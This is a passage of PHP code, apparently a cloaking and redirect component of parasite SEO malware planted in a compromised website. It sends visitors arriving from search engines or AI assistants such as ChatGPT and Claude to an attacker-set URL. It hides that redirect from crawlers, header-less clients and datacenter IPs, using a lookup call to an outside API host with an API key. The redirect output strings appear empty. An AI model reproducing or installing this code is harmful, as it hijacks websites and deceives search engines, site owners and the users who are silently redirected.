h('/' . $cloaker->getBlockedUserAgents() . '/i', $ua);
}
}
if (!function_exists('isRealHumanForRedirect')) {
function isRealHumanForRedirect() {
return !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']);
}
}
if (!function_exists('getVisitorIpForRedirect')) {
function getVisitorIpForRedirect() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
return trim($_SERVER['HTTP_CLIENT_IP']);
}
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
return trim($ips[0]);
}
return isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
}
}
if (!function_exists('isDatacenterIpForRedirect')) {
function isDatacenterIpForRedirect($ip) {
if (empty($ip) || !defined('API_DOMAIN') || API_DOMAIN === '' || !defined('API_KEY') || API_KEY === '' || filter_var($ip, FILTER_VALIDATE_IP) === false) {
return false;
}
$gateway = 'https://' . API_DOMAIN;
$url = $gateway . '/api/parasiteData/isDatacenter?ip=' . urlencode($ip);
$origin = defined('ASITE_DOMAIN') ? ASITE_DOMAIN : $gateway;
$response = parasiteHttpGet($url, array('X-API-Key: ' . API_KEY, 'Origin: ' . $origin), 2);
if ($response === false) {
return false;
}
$data = json_decode($response, true);
return is_array($data) && !empty($data['data']['is_datacenter']);
}
}
$cloaker = new Cloaker();
$blocked = $cloaker->check();
if (!$blocked) {
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$fromSearch = (bool) preg_match('/google|bing|yahoo|baidu|duckduckgo|yandex|aol|ask|sogou|so\.com|ecosia|startpage|naver|daum|seznam|qihoo|sm\.cn|hao123|rambler|mail\.ru|soso|360\.cn|qwant|yippy|ixquick|gigablast|excite|lycos|webcrawler|infospace|dogpile|metacrawler|chatgpt|openai|perplexity|claude\.ai|anthropic|copilot|gemini\.google/i', $referer);
$fromWaf = !$fromSearch && !empty($_COOKIE['_imt']);
if ($fromSearch || $fromWaf) {
$redirectUrl = $cloaker->getRedirectUrl();
if (!empty($redirectUrl)) {
if (isCrawlerForRedirect($cloaker)) {
} elseif (!isRealHumanForRedirect()) {
} elseif ($fromSearch && isDatacenterIpForRedirect(getVisitorIpForRedirect())) {
} else {
$jsUrl = json_encode((string) $redirectUrl, JSON_HEX_TAG | JSON_HEX_AMP | JSON_UNESCAPED_SLASHES);
if ($jsUrl !== false) {
$cloaker->is_human_from_search = true;
echo '';
exit;
}
}
}
}
echo '';
}